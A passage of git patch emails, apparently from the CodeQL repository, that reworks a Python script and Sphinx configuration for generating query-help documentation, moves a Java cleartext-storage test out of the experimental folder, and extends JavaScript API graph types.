github.workspace }}/query-help' run: ls -la - # - name: Check docs folder postscript 2 - # working-directory: '${{ github.workspace }}/query-help/_build' - # run: ls -la - #- name: Upload HTML artifacts - # uses: actions/upload-artifact@v2 - # with: - # name: query-help-html - # path: query-help/_build + - name: Check docs folder postscript 2 + working-directory: '${{ github.workspace }}/query-help/_build' + run: ls -la + - name: Upload HTML artifacts + uses: actions/upload-artifact@v2 + with: + name: query-help-html + path: query-help/_build diff --git a/docs/language/query-help/conf.py b/docs/language/query-help/conf.py index d80f8079def..7b71e35909b 100644 --- a/docs/language/query-help/conf.py +++ b/docs/language/query-help/conf.py @@ -45,12 +45,12 @@ project = u'CodeQL query help' # Add md parser to process query help markdown files -#source_parsers = { -# '.md': 'recommonmark.parser.CommonMarkParser', -#} - -source_suffix = ['.rst'] +extensions =['recommonmark'] +source_suffix = { + '.rst': 'restructuredtext', + '.md': 'markdown', +} # -- Project-specifc options for HTML output ---------------------------------------------- From 4b07f395d0aff1edf34e4badbbfeed20fd64864c Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 14:18:27 +0000 Subject: [PATCH 0035/1241] run script for all languges --- docs/language/query-help-markdown.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 0a34ab7cf3b..764fc6407de 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -6,7 +6,7 @@ import sys import os # Define which languages and query packs to consider -languages = ["go"] +languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] # Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now packs = ["code-scanning", "security-extended"] From d6e9f4d6f26703e3d597dbbc8b69e2730972f140 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 14:44:17 +0000 Subject: [PATCH 0036/1241] remove unnecessary steps from work flow --- .github/workflows/generate-query-help-docs.yml | 6 ------ 1 file changed, 6 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 1dd37260cdd..0c6bef6cd6a 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -48,12 +48,6 @@ jobs: docs-folder: "query-help/" pre-build-command: "python -m pip install --upgrade recommonmark" build-command: "sphinx-build -b html . _build" - - name: Check docs folder postscript 1 - working-directory: '${{ github.workspace }}/query-help' - run: ls -la - - name: Check docs folder postscript 2 - working-directory: '${{ github.workspace }}/query-help/_build' - run: ls -la - name: Upload HTML artifacts uses: actions/upload-artifact@v2 with: From 78fc15174f8efccc5baabdd6e907aa8739581c23 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 15:24:39 +0000 Subject: [PATCH 0037/1241] debug java query help errors --- docs/language/query-help-markdown.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 764fc6407de..f6586902e41 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -6,7 +6,7 @@ import sys import os # Define which languages and query packs to consider -languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] +languages = ["java"] # Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now packs = ["code-scanning", "security-extended"] @@ -144,8 +144,12 @@ for lang in languages: queryfile_nwo = prefix_repo_nwo(queryfile) # Generate the query help for each query - query_help = subprocess_run( - ["codeql", "generate", "query-help", "--format=markdown", "--warnings=hide", queryfile]).stdout.strip() + try: + query_help = subprocess_run( + ["codeql", "generate", "query-help", "--format=markdown", "--warnings=hide", queryfile]).stdout.strip() + except: + print("Failed to generate query help for '%s'" % (queryfile)) + continue # Pull out relevant query metadata properties that we want to display in the query help query_name_meta = get_query_metadata('name', meta, queryfile) From 8414c22f674b31f80403c7025cc776d8ee234e01 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 15:36:07 +0000 Subject: [PATCH 0038/1241] print error if generate query help fails --- docs/language/query-help-markdown.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index f6586902e41..2403a74f2cf 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -148,7 +148,8 @@ for lang in languages: query_help = subprocess_run( ["codeql", "generate", "query-help", "--format=markdown", "--warnings=hide", queryfile]).stdout.strip() except: - print("Failed to generate query help for '%s'" % (queryfile)) + # Print a message if generate query help fails + print("Failed to generate query help for '%s'" % (queryfile_nwo)) continue # Pull out relevant query metadata properties that we want to display in the query help From e5d2edd911fc4294d4bcba80258d6b4438d74d74 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 15:37:21 +0000 Subject: [PATCH 0039/1241] run script over all languages --- docs/language/query-help-markdown.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 2403a74f2cf..9db1052ffd0 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -6,7 +6,7 @@ import sys import os # Define which languages and query packs to consider -languages = ["java"] +languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] # Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now packs = ["code-scanning", "security-extended"] From 4a9b61274ad01ca792adf044308a2fdfef98a9b9 Mon Sep 17 00:00:00 2001 From: james Date: Wed, 28 Oct 2020 16:18:09 +0000 Subject: [PATCH 0040/1241] improve docs --- .github/workflows/generate-query-help-docs.yml | 2 +- docs/language/query-help-markdown.py | 17 +++++++++++++++-- docs/language/query-help/conf.py | 17 +++-------------- docs/language/query-help/query-list.rst | 7 ------- docs/language/query-help/readme.txt | 8 ++++++++ 5 files changed, 27 insertions(+), 24 deletions(-) delete mode 100644 docs/language/query-help/query-list.rst create mode 100644 docs/language/query-help/readme.txt diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 0c6bef6cd6a..bc09d9b2612 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -1,4 +1,4 @@ -name: Generate CodeQL documentation using Sphinx +name: Generate CodeQL query help documentation using Sphinx on: push: diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 9db1052ffd0..bb74146d8a3 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -5,11 +5,24 @@ import csv import sys import os +""" +This script collects CodeQL queries that are part of code scanning query packs, +renders the accompanying query help as markdown, inserts some useful metadata +into the help, and adds a link to the query in the CodeQL repo. + +This script requires that 'git' and 'codeql' commands +are on the PATH. It'll try to automatically set the CodeQL search path correctly, +as long as you run the script from one of the following locations: + - anywhere from within a clone of the CodeQL Git repo + - from the parent directory of a clone of the CodeQL Git repo (assuming 'codeql' + and 'codeql-go' directories both exist) +""" + # Define which languages and query packs to consider languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] -# Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now -packs = ["code-scanning", "security-extended"] +# generate query-help fails for some queries in these suites. Faliures generate an error message. +packs = ["code-scanning", "security-and-quality", "security-extended"] def prefix_repo_nwo(filename): diff --git a/docs/language/query-help/conf.py b/docs/language/query-help/conf.py index 7b71e35909b..46fa45fece8 100644 --- a/docs/language/query-help/conf.py +++ b/docs/language/query-help/conf.py @@ -1,7 +1,6 @@ # -*- coding: utf-8 -*- # -# Learn CodeQL documentation build configuration file, created by -# on Tuesday Nov 13 2018. +# CodeQL query help configuration file # # This file is execfile()d with the current directory set to its # containing dir. @@ -15,16 +14,6 @@ # For details of all possible config values, # see https://www.sphinx-doc.org/en/master/usage/configuration.html -################################################################################# -# -# Modified 22052019. - -# The configuration values below are specific to the learning ql project -# To amend html_theme_options, update version/release number, or add more sphinx extensions, -# refer to code/documentation/ql-documentation/global-sphinx-files/global-conf.py -# -################################################################################## - # -- Project-specific configuration ----------------------------------- import os @@ -44,7 +33,6 @@ master_doc = 'index' project = u'CodeQL query help' # Add md parser to process query help markdown files - extensions =['recommonmark'] source_suffix = { @@ -82,4 +70,5 @@ source_suffix = { # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. -exclude_patterns = ['toc-*'] \ No newline at end of file + +exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages \ No newline at end of file diff --git a/docs/language/query-help/query-list.rst b/docs/language/query-help/query-list.rst deleted file mode 100644 index df99c4002f9..00000000000 --- a/docs/language/query-help/query-list.rst +++ /dev/null @@ -1,7 +0,0 @@ -Code scanning query lists -========================= - -.. csv-table:: - :class: fullWidthTable - :widths: auto - :file: query-lists/query-list.csv diff --git a/docs/language/query-help/readme.txt b/docs/language/query-help/readme.txt new file mode 100644 index 00000000000..4e98220f759 --- /dev/null +++ b/docs/language/query-help/readme.txt @@ -0,0 +1,8 @@ +CodeQL query help Sphinx documentation +-------------------------------------- + +This project supplies the configuration and some boiler plate +index files for the CodeQL query help documentation. + +The query help itself is automatically generated by the +"Generate CodeQL query help documentation using Sphinx" workflow. \ No newline at end of file From bc7264cd5d063ac31c4c43c47ec3c96815e783f0 Mon Sep 17 00:00:00 2001 From: james Date: Sat, 7 Nov 2020 10:42:04 +0000 Subject: [PATCH 0041/1241] update query help script --- docs/language/query-help-markdown.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index bb74146d8a3..44b28430b00 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -21,9 +21,9 @@ as long as you run the script from one of the following locations: # Define which languages and query packs to consider languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] -# generate query-help fails for some queries in these suites. Faliures generate an error message. -packs = ["code-scanning", "security-and-quality", "security-extended"] - +# Query suites to generate help for +# lgtm-full suites covers all queries used in code scanning and on lgtm.com plus a few more +packs = ["lgtm-full"] def prefix_repo_nwo(filename): """ @@ -197,8 +197,10 @@ for lang in languages: # Insert metadata block into query help directly under title full_help = query_help.replace("\n", meta_string, 1) - # Basename of query, used to make markdown output filepath - query_name = os.path.split(queryfile_nwo)[1][:-3] + # Use id property (without language code) to make name for markdown file + s = query_id.index("/") + # replace "/" with "-" + query_name = query_id[s+1:-1].replace("/", "-") # Populate index_file_dictionary with @name extracted from metadata and corresponding query filename index_file_dictionary[query_name_meta] = lang + "/" + query_name From 13c72d243a3c89db8dc4be4d97af73d274f9f2f8 Mon Sep 17 00:00:00 2001 From: james Date: Sat, 7 Nov 2020 11:31:31 +0000 Subject: [PATCH 0042/1241] run script for lgtm suites --- docs/language/query-help-markdown.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 44b28430b00..e8cb421a1e3 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -23,7 +23,7 @@ languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] # Query suites to generate help for # lgtm-full suites covers all queries used in code scanning and on lgtm.com plus a few more -packs = ["lgtm-full"] +packs = ["lgtm"] def prefix_repo_nwo(filename): """ From f2b177413a91fbe2ceab12a2c46610a191483aac Mon Sep 17 00:00:00 2001 From: james Date: Sat, 7 Nov 2020 12:02:44 +0000 Subject: [PATCH 0043/1241] change warnings to errors to avoid creating empty query help --- docs/language/query-help-markdown.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index e8cb421a1e3..a2e22abfd41 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -159,7 +159,7 @@ for lang in languages: # Generate the query help for each query try: query_help = subprocess_run( - ["codeql", "generate", "query-help", "--format=markdown", "--warnings=hide", queryfile]).stdout.strip() + ["codeql", "generate", "query-help", "--format=markdown", "--warnings=error", queryfile]).stdout.strip() except: # Print a message if generate query help fails print("Failed to generate query help for '%s'" % (queryfile_nwo)) @@ -192,7 +192,7 @@ for lang in languages: # Join metadata into a literal block and add query link below meta_string = "\n"*2 + "```\n" + query_id + query_kind + query_severity + \ - query_precision + query_tags + "\n" + "```\n" + query_link + "\n" + query_precision + query_tags + "```\n\n" + query_link + "\n" # Insert metadata block into query help directly under title full_help = query_help.replace("\n", meta_string, 1) From a31146279123f20abca7204d71d4d094ca0e168c Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Thu, 19 Nov 2020 13:12:42 +0000 Subject: [PATCH 0044/1241] Move to query-test folder and update qldoc --- java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll | 2 +- .../CWE-312/semmle/tests}/ClearTextStorageSharedPrefs.expected | 0 .../CWE-312/semmle/tests}/ClearTextStorageSharedPrefs.java | 0 .../CWE-312/semmle/tests}/ClearTextStorageSharedPrefs.qlref | 0 .../security/CWE-312/semmle/tests}/options | 2 +- 5 files changed, 2 insertions(+), 2 deletions(-) rename java/ql/test/{experimental/query-tests/security/CWE-312 => query-tests/security/CWE-312/semmle/tests}/ClearTextStorageSharedPrefs.expected (100%) rename java/ql/test/{experimental/query-tests/security/CWE-312 => query-tests/security/CWE-312/semmle/tests}/ClearTextStorageSharedPrefs.java (100%) rename java/ql/test/{experimental/query-tests/security/CWE-312 => query-tests/security/CWE-312/semmle/tests}/ClearTextStorageSharedPrefs.qlref (100%) rename java/ql/test/{experimental/query-tests/security/CWE-312 => query-tests/security/CWE-312/semmle/tests}/options (64%) diff --git a/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll b/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll index a63d5e43891..8b61faf3750 100644 --- a/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll +++ b/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll @@ -258,7 +258,7 @@ private predicate sharedPreferencesInput(DataFlow::Node sharedPrefs, Expr input) ) } -/* Holds if the method call is the save method of `SharedPreferences`. */ +/* Holds if the method call is the store method of `SharedPreferences`. */ private predicate sharedPreferencesStore(DataFlow::Node sharedPrefs, Expr store) { exists(MethodAccess m | m.getMethod() instanceof SharedPreferencesStoreMethod and diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.expected b/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.expected similarity index 100% rename from java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.expected rename to java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.expected diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.java b/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.java similarity index 100% rename from java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.java rename to java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.java diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.qlref b/java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.qlref similarity index 100% rename from java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.qlref rename to java/ql/test/query-tests/security/CWE-312/semmle/tests/ClearTextStorageSharedPrefs.qlref diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/options b/java/ql/test/query-tests/security/CWE-312/semmle/tests/options similarity index 64% rename from java/ql/test/experimental/query-tests/security/CWE-312/options rename to java/ql/test/query-tests/security/CWE-312/semmle/tests/options index 43e25f608b6..81fb6f970ab 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-312/options +++ b/java/ql/test/query-tests/security/CWE-312/semmle/tests/options @@ -1 +1 @@ -// semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/google-android-9.0.0 +// semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../stubs/google-android-9.0.0 From f5ae00865f8b93bff023a2cc8da20c92e7ef17c5 Mon Sep 17 00:00:00 2001 From: james Date: Fri, 20 Nov 2020 10:07:48 +0000 Subject: [PATCH 0045/1241] rebase on rc/1.26 branch --- .../workflows/generate-query-help-docs.yml | 6 +- docs/codeql/conf.py | 2 +- .../query-help-markdown.py | 37 ++++++++-- docs/codeql/query-help/conf.py | 60 +++++++++++++++ docs/{language => codeql}/query-help/cpp.rst | 0 .../query-help/csharp.rst | 0 docs/{language => codeql}/query-help/go.rst | 0 .../{language => codeql}/query-help/index.rst | 0 docs/{language => codeql}/query-help/java.rst | 0 .../query-help/javascript.rst | 0 .../query-help/python.rst | 0 .../query-help/readme.txt | 0 docs/language/query-help/conf.py | 74 ------------------- 13 files changed, 93 insertions(+), 86 deletions(-) rename docs/{language => codeql}/query-help-markdown.py (85%) create mode 100644 docs/codeql/query-help/conf.py rename docs/{language => codeql}/query-help/cpp.rst (100%) rename docs/{language => codeql}/query-help/csharp.rst (100%) rename docs/{language => codeql}/query-help/go.rst (100%) rename docs/{language => codeql}/query-help/index.rst (100%) rename docs/{language => codeql}/query-help/java.rst (100%) rename docs/{language => codeql}/query-help/javascript.rst (100%) rename docs/{language => codeql}/query-help/python.rst (100%) rename docs/{language => codeql}/query-help/readme.txt (100%) delete mode 100644 docs/language/query-help/conf.py diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index bc09d9b2612..f9ccace89e7 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -8,7 +8,7 @@ on: - 'lgtm.com' pull_request: paths: - - 'docs/language/query-help/**' + - 'docs/codeql/query-help/**' jobs: build: @@ -38,10 +38,10 @@ jobs: run: unzip -d codeql-cli codeql-linux64.zip - name: Set up query help docs folder run: | - cp -r codeql/docs/language/query-help/ . ; cp -r codeql/docs/language/global-sphinx-files/ . + cp -r codeql/docs/codeql/** . - name: Query help to markdown run: | - PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py + PATH="$PATH:codeql-cli/codeql" python codeql/docs/codeql/query-help-markdown.py - name: Run Sphinx for query help uses: ammaraskar/sphinx-action@master with: diff --git a/docs/codeql/conf.py b/docs/codeql/conf.py index 6372c6968b6..769de274fe2 100644 --- a/docs/codeql/conf.py +++ b/docs/codeql/conf.py @@ -109,5 +109,5 @@ templates_path = ['_templates'] # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] -exclude_patterns = ['vale*', '_static', '_templates', 'codeql', 'learn-ql', 'reusables', 'images', 'support', 'ql-training', '_build', '*.py*', 'README.rst'] +exclude_patterns = ['vale*', '_static', '_templates', 'reusables', 'images', 'support', 'ql-training', 'query-help','_build', '*.py*', 'README.rst'] ############################################################################## \ No newline at end of file diff --git a/docs/language/query-help-markdown.py b/docs/codeql/query-help-markdown.py similarity index 85% rename from docs/language/query-help-markdown.py rename to docs/codeql/query-help-markdown.py index a2e22abfd41..779a5db2f5d 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/codeql/query-help-markdown.py @@ -21,8 +21,7 @@ as long as you run the script from one of the following locations: # Define which languages and query packs to consider languages = [ "cpp", "csharp", "go", "java", "javascript", "python"] -# Query suites to generate help for -# lgtm-full suites covers all queries used in code scanning and on lgtm.com plus a few more +# Query suites to generate help for - lgtm suite should cover the queries that users are interested in packs = ["lgtm"] def prefix_repo_nwo(filename): @@ -110,7 +109,6 @@ except Exception as e: # (and assumes the codeql-go repo is in a similar location) codeql_search_path = "./codeql:./codeql-go" # will be extended further down - # Extend CodeQL search path by detecting root of the current Git repo (if any). This means that you # can run this script from any location within the CodeQL git repository. try: @@ -127,11 +125,18 @@ except: # Iterate over all languages and packs, and resolve which queries are part of those packs for lang in languages: + code_scanning_queries = subprocess_run( + ["codeql", "resolve", "queries", "--search-path", codeql_search_path, "%s-code-scanning.qls" % (lang)]).stdout.strip() + security_extended_queries = subprocess_run( + ["codeql", "resolve", "queries", "--search-path", codeql_search_path, "%s-security-extended.qls" % (lang)]).stdout.strip() + security_and_quality_queries = subprocess_run( + ["codeql", "resolve", "queries", "--search-path", codeql_search_path, "%s-security-and-quality.qls" % (lang)]).stdout.strip() # Define empty dictionary to store @name:filename pairs to generate alphabetically sorted Sphinx toctree index_file_dictionary = {} for pack in packs: # Get absolute paths to queries in this pack by using 'codeql resolve queries' try: + queries_subp = subprocess_run( ["codeql", "resolve", "queries", "--search-path", codeql_search_path, "%s-%s.qls" % (lang, pack)]) except Exception as e: @@ -189,18 +194,34 @@ for lang in languages: "codeql", "codeql/tree/main").replace(" ", "%20").replace("\\", "/") query_link = "[Click to see the query in the CodeQL repository](https://github.com/" + \ transform_link + ")\n" + + if queryfile in code_scanning_queries: + cs_suites = lang +'-code-scanning.qls ' + else: + cs_suites = "" + if queryfile in security_extended_queries: + se_suites = lang + '-security-extended.qls ' + else: + se_suites = "" + if queryfile in security_and_quality_queries: + sq_suites = lang + '-security-and-quality.qls ' + else: + sq_Suites = "" + + if queryfile in code_scanning_queries or queryfile in security_extended_queries or queryfile in security_and_quality_queries: + suites_list = "Query suites: " + cs_suites + se_suites + sq_suites + "\n" + else: + suites_list = "" # Join metadata into a literal block and add query link below meta_string = "\n"*2 + "```\n" + query_id + query_kind + query_severity + \ - query_precision + query_tags + "```\n\n" + query_link + "\n" + query_precision + query_tags + suites_list + "```\n\n" + query_link + "\n" # Insert metadata block into query help directly under title full_help = query_help.replace("\n", meta_string, 1) - # Use id property (without language code) to make name for markdown file - s = query_id.index("/") - # replace "/" with "-" - query_name = query_id[s+1:-1].replace("/", "-") + # Use id property to make name for markdown file, replacing any "/" characters with "-" + query_name = query_id[4:-1].replace("/", "-") # Populate index_file_dictionary with @name extracted from metadata and corresponding query filename index_file_dictionary[query_name_meta] = lang + "/" + query_name diff --git a/docs/codeql/query-help/conf.py b/docs/codeql/query-help/conf.py new file mode 100644 index 00000000000..276daf50aab --- /dev/null +++ b/docs/codeql/query-help/conf.py @@ -0,0 +1,60 @@ +# -*- coding: utf-8 -*- +# +# CodeQL query help configuration file +# +# This file is execfile()d with the current directory set to its +# containing dir. +# +# Note that not all possible configuration values are present in this +# autogenerated file. +# +# All configuration values have a default; values that are commented out +# serve to show the default. + +# For details of all possible config values, +# see https://www.sphinx-doc.org/en/master/usage/configuration.html + +# -- Project-specific configuration ----------------------------------- + +# The master toctree document. +master_doc = 'index' + +# General information about the project. +project = u'CodeQL query help' + +# Add md parser to process query help markdown files +extensions =['recommonmark'] + +source_suffix = { + '.rst': 'restructuredtext', + '.md': 'markdown', +} + +# -- Project-specifc options for HTML output ---------------------------------------------- + +# Theme options are theme-specific and customize the look and feel of a theme +# further. For a list of options available for each theme, see the +# documentation. +html_theme_options = {'font_size': '16px', + 'body_text': '#333', + 'link': '#2F1695', + 'link_hover': '#2F1695', + 'show_powered_by': False, + 'nosidebar':True, + 'head_font_family': '-apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"', + } + +highlight_language = "none" + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['../_templates'] + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +html_static_path = ['../_static'] + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. + +exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages \ No newline at end of file diff --git a/docs/language/query-help/cpp.rst b/docs/codeql/query-help/cpp.rst similarity index 100% rename from docs/language/query-help/cpp.rst rename to docs/codeql/query-help/cpp.rst diff --git a/docs/language/query-help/csharp.rst b/docs/codeql/query-help/csharp.rst similarity index 100% rename from docs/language/query-help/csharp.rst rename to docs/codeql/query-help/csharp.rst diff --git a/docs/language/query-help/go.rst b/docs/codeql/query-help/go.rst similarity index 100% rename from docs/language/query-help/go.rst rename to docs/codeql/query-help/go.rst diff --git a/docs/language/query-help/index.rst b/docs/codeql/query-help/index.rst similarity index 100% rename from docs/language/query-help/index.rst rename to docs/codeql/query-help/index.rst diff --git a/docs/language/query-help/java.rst b/docs/codeql/query-help/java.rst similarity index 100% rename from docs/language/query-help/java.rst rename to docs/codeql/query-help/java.rst diff --git a/docs/language/query-help/javascript.rst b/docs/codeql/query-help/javascript.rst similarity index 100% rename from docs/language/query-help/javascript.rst rename to docs/codeql/query-help/javascript.rst diff --git a/docs/language/query-help/python.rst b/docs/codeql/query-help/python.rst similarity index 100% rename from docs/language/query-help/python.rst rename to docs/codeql/query-help/python.rst diff --git a/docs/language/query-help/readme.txt b/docs/codeql/query-help/readme.txt similarity index 100% rename from docs/language/query-help/readme.txt rename to docs/codeql/query-help/readme.txt diff --git a/docs/language/query-help/conf.py b/docs/language/query-help/conf.py deleted file mode 100644 index 46fa45fece8..00000000000 --- a/docs/language/query-help/conf.py +++ /dev/null @@ -1,74 +0,0 @@ -# -*- coding: utf-8 -*- -# -# CodeQL query help configuration file -# -# This file is execfile()d with the current directory set to its -# containing dir. -# -# Note that not all possible configuration values are present in this -# autogenerated file. -# -# All configuration values have a default; values that are commented out -# serve to show the default. - -# For details of all possible config values, -# see https://www.sphinx-doc.org/en/master/usage/configuration.html - -# -- Project-specific configuration ----------------------------------- - -import os - -# Import global config values -with open(os.path.abspath("../global-sphinx-files/global-conf.py")) as in_file: - exec(in_file.read()) - -# Set QL as the default language for highlighting code. Set to none to disable -# syntax highlighting. If omitted or left blank, it defaults to Python 3. -# highlight_language = 'ql' - -# The master toctree document. -master_doc = 'index' - -# General information about the project. -project = u'CodeQL query help' - -# Add md parser to process query help markdown files -extensions =['recommonmark'] - -source_suffix = { - '.rst': 'restructuredtext', - '.md': 'markdown', -} - -# -- Project-specifc options for HTML output ---------------------------------------------- - -# The version info for this project, if different from version and release in main conf.py file. -# The short X.Y version. -# version = u'1.18' -# The full version, including alpha/beta/rc tags. -# release = u'1.18' - -# -- Currently unused, but potentially useful, configs-------------------------------------- - -# Add any paths that contain custom themes here, relative to this directory. -#html_theme_path = [] - -# A shorter title for the navigation bar. Default is the same as html_title. -#html_short_title = None - -# The name of an image file (relative to this directory) to place at the top -# of the sidebar. -#html_logo = None - -# Custom sidebar templates, maps document names to template names. -#html_sidebars = {} - -# Add any extra paths that contain custom files (such as robots.txt or -# .htaccess) here, relative to this directory. These files are copied -# directly to the root of the documentation. -#html_extra_path = [] - -# List of patterns, relative to source directory, that match files and -# directories to ignore when looking for source files. - -exclude_patterns = ['toc-*'] # ignore toc-.rst files as they are 'included' in index pages \ No newline at end of file From dcf52f3ee3851fa8a545b99c245d24195042a63f Mon Sep 17 00:00:00 2001 From: james Date: Fri, 20 Nov 2020 13:59:12 +0000 Subject: [PATCH 0046/1241] improve lists in metadata section --- docs/codeql/query-help-markdown.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/codeql/query-help-markdown.py b/docs/codeql/query-help-markdown.py index 779a5db2f5d..9313d4b170d 100644 --- a/docs/codeql/query-help-markdown.py +++ b/docs/codeql/query-help-markdown.py @@ -182,8 +182,8 @@ for lang in languages: get_query_metadata('problem.severity', meta, queryfile) + "\n" query_precision = "Precision: " + \ get_query_metadata('precision', meta, queryfile) + "\n" - query_tags = "Tags: " + \ - get_query_metadata('tags', meta, queryfile) + "\n" + query_tags = "Tags:\n - " + \ + get_query_metadata('tags', meta, queryfile).replace(" ", "\n - ") + "\n" # Build a link to the query source file for display in the query help if "go" in prefix_repo_nwo(queryfile): @@ -196,20 +196,20 @@ for lang in languages: transform_link + ")\n" if queryfile in code_scanning_queries: - cs_suites = lang +'-code-scanning.qls ' + cs_suites = ' - ' + lang +'-code-scanning.qls\n' else: cs_suites = "" if queryfile in security_extended_queries: - se_suites = lang + '-security-extended.qls ' + se_suites = ' - ' + lang + '-security-extended.qls\n' else: se_suites = "" if queryfile in security_and_quality_queries: - sq_suites = lang + '-security-and-quality.qls ' + sq_suites = ' - ' +lang + '-security-and-quality.qls\n' else: sq_Suites = "" if queryfile in code_scanning_queries or queryfile in security_extended_queries or queryfile in security_and_quality_queries: - suites_list = "Query suites: " + cs_suites + se_suites + sq_suites + "\n" + suites_list = "Query suites:\n" + cs_suites + se_suites + sq_suites else: suites_list = "" From 3b5ff7386202e5036f78a4881464d7130fd0a6b8 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Thu, 5 Nov 2020 15:37:21 +0000 Subject: [PATCH 0047/1241] JS: Introduce API::InvokeNode to simplify reasoning about calls --- .../ql/src/semmle/javascript/ApiGraphs.qll | 62 ++++++++++++++++++- 1 file changed, 59 insertions(+), 3 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/ApiGraphs.qll b/javascript/ql/src/semmle/javascript/ApiGraphs.qll index e3d627c3da7..5b54509dae4 100644 --- a/javascript/ql/src/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/src/semmle/javascript/ApiGraphs.qll @@ -54,17 +54,17 @@ module API { /** * Gets a call to the function represented by this API component. */ - DataFlow::CallNode getACall() { result = getReturn().getAnImmediateUse() } + CallNode getACall() { result = getReturn().getAnImmediateUse() } /** * Gets a `new` call to the function represented by this API component. */ - DataFlow::NewNode getAnInstantiation() { result = getInstance().getAnImmediateUse() } + NewNode getAnInstantiation() { result = getInstance().getAnImmediateUse() } /** * Gets an invocation (with our without `new`) to the function represented by this API component. */ - DataFlow::InvokeNode getAnInvocation() { result = getACall() or result = getAnInstantiation() } + InvokeNode getAnInvocation() { result = getACall() or result = getAnInstantiation() } /** * Gets a data-flow node corresponding to the 